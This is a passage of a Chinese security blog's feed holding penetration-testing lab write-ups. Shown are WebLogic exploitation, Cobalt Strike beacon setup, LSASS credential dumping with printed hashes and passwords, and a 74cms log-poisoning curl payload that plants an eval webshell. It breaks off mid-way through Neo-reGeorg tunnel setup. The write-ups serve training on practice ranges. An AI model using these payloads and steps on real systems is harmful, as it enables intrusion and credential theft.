127.0.0.1 &lt;port&gt;<br></code></pre></td></tr></table></figure><p>可以让任何命令行工具通过 SOCKS 代理运行，非常适合配合 impacket 工具使用。</p><h3 id="impacket-工具链"><a href="#impacket-工具链" class="headerlink" title="impacket 工具链"></a>impacket 工具链</h3><p>这次用到了 impacket 的三个工具：</p><ul><li><strong>mssqlclient.py</strong>: 连接 MSSQL，启用 xp_cmdshell</li><li><strong>secretsdump.py</strong>: 执行 DCSync，dump 域凭据</li><li><strong>wmiexec.py</strong>: Pass-the-Hash 登录，获得命令 shell</li></ul><p>都支持通过 proxychains 代理使用，且 <code>-codec gbk</code> 参数可以解决中文乱码问题。</p><h2 id="反思"><a href="#反思" class="headerlink" title="反思"></a>反思</h2><p>这条链路验证了一个完整的域渗透流程：外网 SQL 注入 → WebShell → C2 上线 → 内网横向 → 域漏洞利用 → 域管权限。</p><p>关键是理解网络拓扑和合理利用代理。每一步都要确认当前位置能访问目标，选择正确的代理或跳板。提权虽然好，但不是所有场景都必须，要根据实际目标选择最有效的路径。</p>]]>
    </content>
    <id>http://82.156.189.140:8085/2026/07/10/anyue3/</id>
    <link href="http://82.156.189.140:8085/2026/07/10/anyue3/"/>
    <published>2026-07-10T03:03:31.000Z</published>
    <summary>
      <![CDATA[<h1 id="暗月靶场项目三复盘：从外网入口到内网-MSSQL-命令执行"><a href="#暗月靶场项目三复盘：从外网入口到内网-MSSQL-命令执行" class="headerlink" title="暗月靶场项目三复盘：从外网入口到内网 MSSQL 命令执行"></a]]>
    </summary>
    <title>anyue3</title>
    <updated>2026-07-18T03:15:21.941Z</updated>
  </entry>
  <entry>
    <author>
      <name>fortuneh2c</name>
    </author>
    <category term="红日靶场" scheme="http://82.156.189.140:8085/categories/%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA/"/>
    <category term="CTF" scheme="http://82.156.189.140:8085/tags/CTF/"/>
    <category term="红日" scheme="http://82.156.189.140:8085/tags/%E7%BA%A2%E6%97%A5/"/>
    <category term="渗透" scheme="http://82.156.189.140:8085/tags/%E6%B8%97%E9%80%8F/"/>
    <content>
      <![CDATA[<h1 id="红队实战靶场复盘：WebLogic-打点到域内凭证获取"><a href="#红队实战靶场复盘：WebLogic-打点到域内凭证获取" class="headerlink" title="红队实战靶场复盘：WebLogic 打点到域内凭证获取"></a>红队实战靶场复盘：WebLogic 打点到域内凭证获取</h1><p>这次环境是一个典型的双网卡 Web 服务器作为入口的域内靶场。外部可访问目标为 <code>192.168.111.80</code>，Web 服务器同时连接 DMZ 网段和内网 <code>10.10.10.0/24</code>，域控为 <code>10.10.10.10</code>，域名为 <code>de1ay.com</code>。</p><p>整体路线比较清晰：先从 WebLogic 漏洞拿到 WebShell，再确认主机和域环境，随后上线 Cobalt Strike，获取凭证并提权到 SYSTEM。</p><h2 id="0x01-环境信息"><a href="#0x01-环境信息" class="headerlink" title="0x01 环境信息"></a>0x01 环境信息</h2><p>本次关键主机如下：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs text">攻击机靶场地址：192.168.111.44<br>目标入口地址：192.168.111.80<br>WEB 内网地址：10.10.10.80<br>域控 DC：10.10.10.10<br>域名：de1ay.com<br>PC：10.10.10.201<br></code></pre></td></tr></table></figure><p>WEB 主机为双网卡机器：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs text">192.168.111.80  DMZ 网段<br>10.10.10.80     内网网段<br></code></pre></td></tr></table></figure><p>这类环境里，Web 服务器通常就是进入内网的第一块跳板。</p><h2 id="0x02-WebLogic-初始打点"><a href="#0x02-WebLogic-初始打点" class="headerlink" title="0x02 WebLogic 初始打点"></a>0x02 WebLogic 初始打点</h2><p>初始入口是通过 WebLogic 反序列化相关检测拿到的回显 WebShell。</p><p>检测信息如下：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs text">============开始检查可回显漏洞============<br>检查漏洞：CVE_2016_0638_ECHO开始<br>检查Payload：CommonsCollections3_678<br>[+]：存在CVE_2016_0638_ECHO漏洞，返回信息：web\administrator<br></code></pre></td></tr></table></figure><p>这里说明目标存在 <code>CVE_2016_0638_ECHO</code>，并且使用 <code>CommonsCollections3_678</code> payload 成功回显，当前执行身份为：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">web\administrator<br></code></pre></td></tr></table></figure><p>拿到 WebShell 后，首先查看当前目录和主机网络信息：</p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs cmd"><span class="hljs-built_in">ipconfig</span> /all<br></code></pre></td></tr></table></figure><p>可以看到 WEB 主机已经加入域，DNS 指向域控：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs text">主 DNS 后缀：de1ay.com<br>DNS 服务器：10.10.10.10<br></code></pre></td></tr></table></figure><p>域名解析也能确认域控位置：</p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs cmd">nslookup de1ay.com<br></code></pre></td></tr></table></figure><p>结果指向：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">de1ay.com -&gt; 10.10.10.10<br></code></pre></td></tr></table></figure><h2 id="0x03-域环境确认"><a href="#0x03-域环境确认" class="headerlink" title="0x03 域环境确认"></a>0x03 域环境确认</h2><p>通过 <code>net user /domain</code> 枚举域用户：</p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs cmd"><span class="hljs-built_in">net</span> user /domain<br></code></pre></td></tr></table></figure><p>返回用户包括：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs text">Administrator<br>de1ay<br>Guest<br>krbtgt<br>mssql<br></code></pre></td></tr></table></figure><p>这一步说明当前机器已经在域内，并且能够正常和域控通信。</p><p>随后查看域控共享：</p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs cmd"><span class="hljs-built_in">net</span> view \\<span class="hljs-number">10</span>.<span class="hljs-number">10</span>.<span class="hljs-number">10</span>.<span class="hljs-number">10</span><br></code></pre></td></tr></table></figure><p>可以看到：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs text">NETLOGON<br>SYSVOL<br></code></pre></td></tr></table></figure><p>继续访问管理共享：</p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs cmd"><span class="hljs-built_in">dir</span> \\<span class="hljs-number">10</span>.<span class="hljs-number">10</span>.<span class="hljs-number">10</span>.<span class="hljs-number">10</span>\c$<br></code></pre></td></tr></table></figure><p>成功列出 DC 的 C 盘目录，并发现：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">flag.txt.txt<br></code></pre></td></tr></table></figure><p>这里基本可以判断文件内容为：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">hr2flagccqweaul2hjbakbvle<br></code></pre></td></tr></table></figure><p>不过从红队流程角度看，能读到 DC 文件并不等于完整控制域。后续还是继续验证凭证、权限和上线能力。</p><h2 id="0x04-杀软与进程信息"><a href="#0x04-杀软与进程信息" class="headerlink" title="0x04 杀软与进程信息"></a>0x04 杀软与进程信息</h2><p>查看进程和服务：</p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs cmd">tasklist /svc<br></code></pre></td></tr></table></figure><p>发现目标存在 360 相关进程：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs text">ZhuDongFangYu.exe<br>360Tray.exe<br></code></pre></td></tr></table></figure><p>同时存在关键服务：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs text">sqlservr.exe   MSSQL$SQLEXPRESS<br>java.exe       WebLogic<br></code></pre></td></tr></table></figure><p>这说明目标上有 360 主动防御，后续上线 payload 时需要注意落地文件和进程行为。不过本次最终仍然成功使用 EXE 上线。</p><h2 id="0x05-Cobalt-Strike-上线"><a href="#0x05-Cobalt-Strike-上线" class="headerlink" title="0x05 Cobalt Strike 上线"></a>0x05 Cobalt Strike 上线</h2><p>TeamServer 跑在 WSL 中，监听器配置如下：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs text">Name: http-8080<br>Payload: Beacon HTTP<br>HTTP Hosts: 192.168.111.44<br>HTTP Port (C2): 8080<br>HTTP Port (Bind): 8080<br>Profile: default<br></code></pre></td></tr></table></figure><p>生成 payload 时使用：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">有效载荷(P) -&gt; Windows可执行程序(Stageless)<br></code></pre></td></tr></table></figure><p>配置：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs text">Listener: http-8080<br>Output: Windows EXE<br>Exit Function: Process<br>System Call: None<br>x64: Use x64 payload<br>Sign: 不勾选<br></code></pre></td></tr></table></figure><p>生成过程中遇到过 Java 版本兼容问题。原来的启动脚本默认调用系统 Java，而系统 Java 为 Java 25，导致保存文件窗口报错：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">ClassNotFoundException: sun.security.action.GetPropertyAction<br></code></pre></td></tr></table></figure><p>解决方式是固定使用 Java 8 启动 CS 客户端：</p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs cmd">&quot;C:\Program Files\Java\jre1.<span class="hljs-number">8</span>.<span class="hljs-number">0</span>_431\bin\java.exe&quot; -XX:ParallelGCThreads=<span class="hljs-number">4</span> -XX:+AggressiveHeap -XX:+UseParallelGC -javaagent:uHook.jar -Dfile.encoding=utf-<span class="hljs-number">8</span> -jar cobaltstrike-client.jar<br></code></pre></td></tr></table></figure><p>payload 上传到目标路径：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">C:\Users\Public\beacon_x64.exe<br></code></pre></td></tr></table></figure><p>执行后成功上线 Beacon。</p><h2 id="0x06-WSL-TeamServer-端口转发问题"><a href="#0x06-WSL-TeamServer-端口转发问题" class="headerlink" title="0x06 WSL TeamServer 端口转发问题"></a>0x06 WSL TeamServer 端口转发问题</h2><p>这里踩了一个比较典型的坑：TeamServer 在 WSL 里跑，靶场流量先进 Windows VPN 网卡，但 WSL 并没有直接拥有靶场平台映射地址。</p><p>一开始 Windows 本机访问：</p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs cmd">curl http://<span class="hljs-number">192</span>.<span class="hljs-number">168</span>.<span class="hljs-number">111</span>.<span class="hljs-number">44</span>:<span class="hljs-number">8080</span><br></code></pre></td></tr></table></figure><p>无法连接。</p><p>但是访问本地 WSL 暴露的 8080 时，CS 日志能看到请求：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">[!] Request blocked for useragent &#x27;curl/8.14.1&#x27;. URI=/ Method=GET Remote Address=/127.0.0.1<br></code></pre></td></tr></table></figure><p>这说明 CS 服务本身是活的，只是流量没有正确导到 WSL。</p><p>最终通过 Windows 管理员 CMD 添加端口转发解决：</p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs cmd">netsh interface portproxy add v4tov4 listenaddress=<span class="hljs-number">10</span>.<span class="hljs-number">8</span>.<span class="hljs-number">0</span>.<span class="hljs-number">6</span> listenport=<span class="hljs-number">8080</span> connectaddress=<span class="hljs-number">127</span>.<span class="hljs-number">0</span>.<span class="hljs-number">0</span>.<span class="hljs-number">1</span> connectport=<span class="hljs-number">8080</span><br>netsh advfirewall firewall add rule name=&quot;CS-<span class="hljs-number">8080</span>-WSL&quot; <span class="hljs-built_in">dir</span>=<span class="hljs-keyword">in</span> action=allow protocol=TCP localport=<span class="hljs-number">8080</span><br></code></pre></td></tr></table></figure><p>这两条命令的作用是：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">10.8.0.6:8080 -&gt; 127.0.0.1:8080<br></code></pre></td></tr></table></figure><p>也就是把 Windows VPN 网卡收到的 8080 流量转发给本地 WSL 暴露的 TeamServer 8080。</p><p>之后 Beacon 成功回连。</p><h2 id="0x07-当前权限确认"><a href="#0x07-当前权限确认" class="headerlink" title="0x07 当前权限确认"></a>0x07 当前权限确认</h2><p>Beacon 上线后执行：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">getuid<br></code></pre></td></tr></table></figure><p>返回：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">You are WEB\Administrator (admin)<br></code></pre></td></tr></table></figure><p>说明当前是 WEB 本机管理员权限，而不是域管。</p><h2 id="0x08-本机-Hash-获取"><a href="#0x08-本机-Hash-获取" class="headerlink" title="0x08 本机 Hash 获取"></a>0x08 本机 Hash 获取</h2><p>执行 hashdump 后拿到本机 SAM hash：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs text">Administrator:500:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::<br>de1ay:1000:aad3b435b51404eeaad3b435b51404ee:3b24c391862f4a8531a245a0217708c4:::<br>Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br></code></pre></td></tr></table></figure><p>其中关键 NTLM hash：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs text">WEB\Administrator : 161cff084477fe596a5db81874498a24<br>WEB\de1ay         : 3b24c391862f4a8531a245a0217708c4<br></code></pre></td></tr></table></figure><p><code>31d6cfe0d16ae931b73c59d7e0c089c0</code> 是空密码 NTLM，Guest 一般价值不高。</p><h2 id="0x09-明文凭证获取"><a href="#0x09-明文凭证获取" class="headerlink" title="0x09 明文凭证获取"></a>0x09 明文凭证获取</h2><p>随后通过获取明文口令，从 LSASS 中拿到域账号凭证。</p><p>关键结果如下：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs text">User Name : mssql<br>Domain    : DE1AY<br>NTLM      : 161cff084477fe596a5db81874498a24<br>Password  : 1qaz@WSX<br></code></pre></td></tr></table></figure><p>同时本机管理员也使用了同样的密码：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs text">User Name : Administrator<br>Domain    : WEB<br>NTLM      : 161cff084477fe596a5db81874498a24<br>Password  : 1qaz@WSX<br></code></pre></td></tr></table></figure><p>也就是说，本次拿到的关键凭证为：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs text">DE1AY\mssql / 1qaz@WSX<br>WEB\Administrator / 1qaz@WSX<br></code></pre></td></tr></table></figure><p>并且二者 NTLM 一致：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">161cff084477fe596a5db81874498a24<br></code></pre></td></tr></table></figure><p>这类密码复用在域内非常常见，也是横向移动的重要突破口。</p><h2 id="0x0A-凭证切换与提权"><a href="#0x0A-凭证切换与提权" class="headerlink" title="0x0A 凭证切换与提权"></a>0x0A 凭证切换与提权</h2><p>尝试使用域账号 <code>DE1AY\mssql</code> 进行 Spawn As：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">spawnas DE1AY\mssql 1qaz@WSX http-8080<br></code></pre></td></tr></table></figure><p>首次遇到错误：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">could not run C:\Windows\system32\rundll32.exe as DE1AY\mssql: 267<br></code></pre></td></tr></table></figure><p><code>267</code> 是 Windows 错误码：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">ERROR_DIRECTORY = 目录名称无效<br></code></pre></td></tr></table></figure><p>这个问题通常和当前 Beacon 工作目录有关，可以切换到标准目录后再尝试：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs text">cd C:\Windows\Temp<br>spawnas DE1AY\mssql 1qaz@WSX http-8080<br></code></pre></td></tr></table></figure><p>本次最终目标是从本机管理员提升到 SYSTEM，因此直接使用：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">getsystem<br></code></pre></td></tr></table></figure><p>随后使用服务方式提权：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">elevate svc-exe http-8080<br></code></pre></td></tr></table></figure><p>返回：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs text">[+] Impersonated NT AUTHORITY\SYSTEM<br>[+] received output:<br>Started service cb2cc4c on<br></code></pre></td></tr></table></figure><p>这说明已经成功模拟 SYSTEM token。</p><p>确认方式：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs text">getuid<br>shell whoami<br></code></pre></td></tr></table></figure><p>预期结果：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">NT AUTHORITY\SYSTEM<br></code></pre></td></tr></table></figure><h2 id="0x0B-本次攻击链总结"><a href="#0x0B-本次攻击链总结" class="headerlink" title="0x0B 本次攻击链总结"></a>0x0B 本次攻击链总结</h2><p>本次完整链路如下：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><code class="hljs text">WebLogic CVE_2016_0638_ECHO<br>        -&gt; WebShell: web\administrator<br>        -&gt; 域环境确认: de1ay.com / DC 10.10.10.10<br>        -&gt; CS Stageless EXE 上线<br>        -&gt; Beacon: WEB\Administrator<br>        -&gt; hashdump 获取本机 hash<br>        -&gt; logonpasswords 获取明文凭证<br>        -&gt; DE1AY\mssql / 1qaz@WSX<br>        -&gt; elevate svc-exe 提权到 NT AUTHORITY\SYSTEM<br></code></pre></td></tr></table></figure><p>这台靶机的关键点并不是某一个单独漏洞，而是几个环节串起来后的效果：</p><ol><li>WebLogic 漏洞给了初始命令执行。</li><li>WEB 双网卡使得外部入口可以触达内网。</li><li>机器加入域，且存在域账号凭证留存在 LSASS。</li><li>本机管理员和域账号存在密码复用。</li><li>本机管理员权限可以进一步提到 SYSTEM。</li></ol><h2 id="0x0C-踩坑记录"><a href="#0x0C-踩坑记录" class="headerlink" title="0x0C 踩坑记录"></a>0x0C 踩坑记录</h2><p>本次比较值得记录的坑有三个。</p><p>第一个是 CS 客户端 Java 版本问题。CS 4.8 的客户端不适合使用 Java 25，保存 payload 时会因为 Swing&#x2F;Synthetica 兼容问题报错。固定用 Java 8 启动即可。</p><p>第二个是 WSL TeamServer 网络问题。TeamServer 在 WSL 中运行时，不能简单认为 Listener 填了 <code>192.168.111.44</code> 就等于 Windows 已经监听该地址。靶场流量进入 Windows 后，还需要通过 <code>netsh interface portproxy</code> 转发到 WSL 暴露的本地端口。</p><p>第三个是 <code>curl</code> 测 CS 端口时可能被 profile 拦截。日志里出现：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs text">Request blocked for useragent &#x27;curl/8.14.1&#x27;<br></code></pre></td></tr></table></figure><p>这不代表 CS 不通，只是默认 profile 拦截了 curl 的 User-Agent。可以换浏览器 UA 测试：</p><figure class="highlight cmd"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs cmd">curl -A &quot;Mozilla/<span class="hljs-number">5</span>.<span class="hljs-number">0</span>&quot; http://<span class="hljs-number">127</span>.<span class="hljs-number">0</span>.<span class="hljs-number">0</span>.<span class="hljs-number">1</span>:<span class="hljs-number">8080</span><br></code></pre></td></tr></table></figure><p>返回 404 也可以说明端口是通的，因为 <code>/</code> 本来就不是有效资源路径。</p><h2 id="0x0D-结论"><a href="#0x0D-结论" class="headerlink" title="0x0D 结论"></a>0x0D 结论</h2><p>这次靶场到这里已经完成了从外部 WebLogic 打点、进入域内、Cobalt Strike 上线、凭证获取、再到本机 SYSTEM 的完整流程。</p><p>当前已经掌握的有效信息包括：</p><figure class="highlight text"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs text">初始 WebShell 身份：web\administrator<br>Beacon 初始身份：WEB\Administrator<br>SYSTEM 提权：成功<br>域账号：DE1AY\mssql<br>域账号密码：1qaz@WSX<br>关键 NTLM：161cff084477fe596a5db81874498a24<br> flag：hr2flagccqweaul2hjbakbvle<br></code></pre></td></tr></table></figure>]]>
    </content>
    <id>http://82.156.189.140:8085/2026/07/08/hr2/</id>
    <link href="http://82.156.189.140:8085/2026/07/08/hr2/"/>
    <published>2026-07-08T03:00:18.000Z</published>
    <summary>
      <![CDATA[<h1 id="红队实战靶场复盘：WebLogic-打点到域内凭证获取"><a href="#红队实战靶场复盘：WebLogic-打点到域内凭证获取" class="headerlink" title="红队实战靶场复盘：WebLogic 打点到域内凭证获取"></a>红队实战靶]]>
    </summary>
    <title>红日靶场二</title>
    <updated>2026-07-18T03:15:21.942Z</updated>
  </entry>
  <entry>
    <author>
      <name>fortuneh2c</name>
    </author>
    <category term="题解" scheme="http://82.156.189.140:8085/categories/%E9%A2%98%E8%A7%A3/"/>
    <category term="CTF" scheme="http://82.156.189.140:8085/tags/CTF/"/>
    <category term="Writeup" scheme="http://82.156.189.140:8085/tags/Writeup/"/>
    <content>
      <![CDATA[<h1 id="vulntarget-d-靶场渗透实战记录"><a href="#vulntarget-d-靶场渗透实战记录" class="headerlink" title="vulntarget-d 靶场渗透实战记录"></a>vulntarget-d 靶场渗透实战记录</h1><blockquote><p>记一次完整的内网渗透实战演练</p></blockquote><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>最近在GitHub上发现了一个不错的综合靶场 vulntarget-d，据说涵盖了内网渗透的常见考点。周末花了点时间研究了一下，整个过程还挺有意思的，踩了不少坑，也学到了很多东西。这篇文章记录一下完整的渗透流程，希望对大家有所帮助。</p><p><strong>最终成果</strong>：成功拿到flag <code>c69afdfaaf2f7d820bb2c9ff4598d225</code> ✌️</p><h2 id="环境信息"><a href="#环境信息" class="headerlink" title="环境信息"></a>环境信息</h2><p>靶场是一个双层网络结构：</p><ul><li>外网：192.168.111.20 (Ubuntu + 74cms)</li><li>内网：10.0.20.131 (Ubuntu)、10.0.20.136 (Windows 7)</li></ul><p>我的目标是从外网一路打到内网Windows机器,最终拿到flag。</p><h2 id="第一步：外网立足点"><a href="#第一步：外网立足点" class="headerlink" title="第一步：外网立足点"></a>第一步：外网立足点</h2><h3 id="目标识别"><a href="#目标识别" class="headerlink" title="目标识别"></a>目标识别</h3><p>访问 <code>http://192.168.111.20:81/</code>，发现是一个招聘网站系统。通过指纹识别，确定是 <strong>74cms V6.0.20</strong> (骑士PHP高端人才系统)，底层框架是 <strong>ThinkPHP 3.2.3</strong>。</p><p>这个版本的74cms存在一个经典的文件包含漏洞，可以通过日志投毒的方式getshell。</p><h3 id="74cms-文件包含漏洞利用"><a href="#74cms-文件包含漏洞利用" class="headerlink" title="74cms 文件包含漏洞利用"></a>74cms 文件包含漏洞利用</h3><p><strong>漏洞原理：</strong></p><p>74cms在处理简历模板时，<code>assign_resume_tpl</code> 控制器存在任意文件包含漏洞。通过构造特殊的payload，可以包含ThinkPHP的日志文件，而日志文件中如果包含了我们注入的PHP代码，就能实现代码执行。</p><p><strong>利用步骤：</strong></p><p><strong>第一步：日志投毒</strong></p><p>访问漏洞端点并通过POST注入PHP代码到日志：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash">curl -s <span class="hljs-string">&quot;http://192.168.111.20:81/index.php?m=home&amp;a=assign_resume_tpl&quot;</span> \<br>  -d <span class="hljs-string">&#x27;variable=1&amp;tpl=&lt;?php fputs(fopen(&quot;tx.php&quot;,&quot;w&quot;),&quot;&lt;?php eval(\$_POST[x]);?&gt;&quot;)?&gt;; ob_flush();?&gt;/r/n&lt;qscms/company_show 列表名=&quot;info&quot; 企业id=&quot;$_GET[&#x27;</span><span class="hljs-string">&quot;&#x27;&quot;</span><span class="hljs-string">&#x27;id&#x27;</span><span class="hljs-string">&quot;&#x27;&quot;</span><span class="hljs-string">&#x27;]&quot;/&gt;&#x27;</span><br></code></pre></td></tr></table></figure><p>这段payload的作用是：</p><ul><li>向ThinkPHP的日志文件中写入PHP代码</li><li>代码功能是创建一个名为<code>tx.php</code>的webshell</li><li>Webshell密码参数为<code>x</code></li></ul><p><strong>第二步：包含日志文件触发执行</strong></p><p>确定当前日期对应的日志文件（格式：YY_MM_DD.log），然后包含执行：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash">curl -s <span class="hljs-string">&quot;http://192.168.111.20:81/index.php?m=home&amp;a=assign_resume_tpl&quot;</span> \<br>  -d <span class="hljs-string">&quot;variable=1&amp;tpl=data/Runtime/Logs/Home/26_07_07.log&quot;</span><br></code></pre></td></tr></table></figure><p><strong>第三步：验证webshell</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs bash">curl -s <span class="hljs-string">&quot;http://192.168.111.20:81/tx.php&quot;</span> -d <span class="hljs-string">&quot;x=system(&#x27;whoami&#x27;);&quot;</span><br></code></pre></td></tr></table></figure><p>返回：<code>www</code> ✅</p><p>成功拿到外网webshell！</p><p><strong>踩坑记录：</strong></p><ul><li>日志文件的日期格式要对应当前日期（YY_MM_DD）</li><li>payload中的特殊字符需要正确转义</li><li>宝塔WAF可能会拦截，需要注意绕过</li></ul><p><strong>最终获得：</strong></p><ul><li>URL: <code>http://192.168.111.20:81/tx.php</code></li><li>密码参数: POST <code>x</code></li><li>权限: www用户</li></ul><h2 id="第二步：搭建内网代理"><a href="#第二步：搭建内网代理" class="headerlink" title="第二步：搭建内网代理"></a>第二步：搭建内网代理</h2><h3 id="工具选择的小插曲"><a href="#工具选择的小插曲" class="headerlink" title="工具选择的小插曲"></a>工具选择的小插曲</h3><p>一开始我尝试用哥斯拉自带的内网代理功能，结果发现访问内网机器卡得不行。访问 <code>http://10.0.20.136</code> 几乎连不上，这让我很头疼。</p><p>后来换成了 <strong>Neo-reGeorg</strong>，效果立竿见影！访问速度从”几乎超时”变成了”不到1秒响应”。果然专业的工具还是靠谱。</p><h3 id="Neo-reGeorg-部署步骤"><a href="#Neo-reGeorg-部署步骤" class="headerlink" title="Neo-reGeorg 部署步骤"></a>Neo-reGeorg 部署步骤</h3><p>Neo-reGeorg 是一个基于HTTP隧道的SOCKS代理工具，比传统的reGeorg性能更好。</p><p><strong>1. 生成加密的tunnel脚本</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs bash"><span class="hljs-built_in">cd</span> Neo-reGeorg目录<br>python neoreg.py generate -k 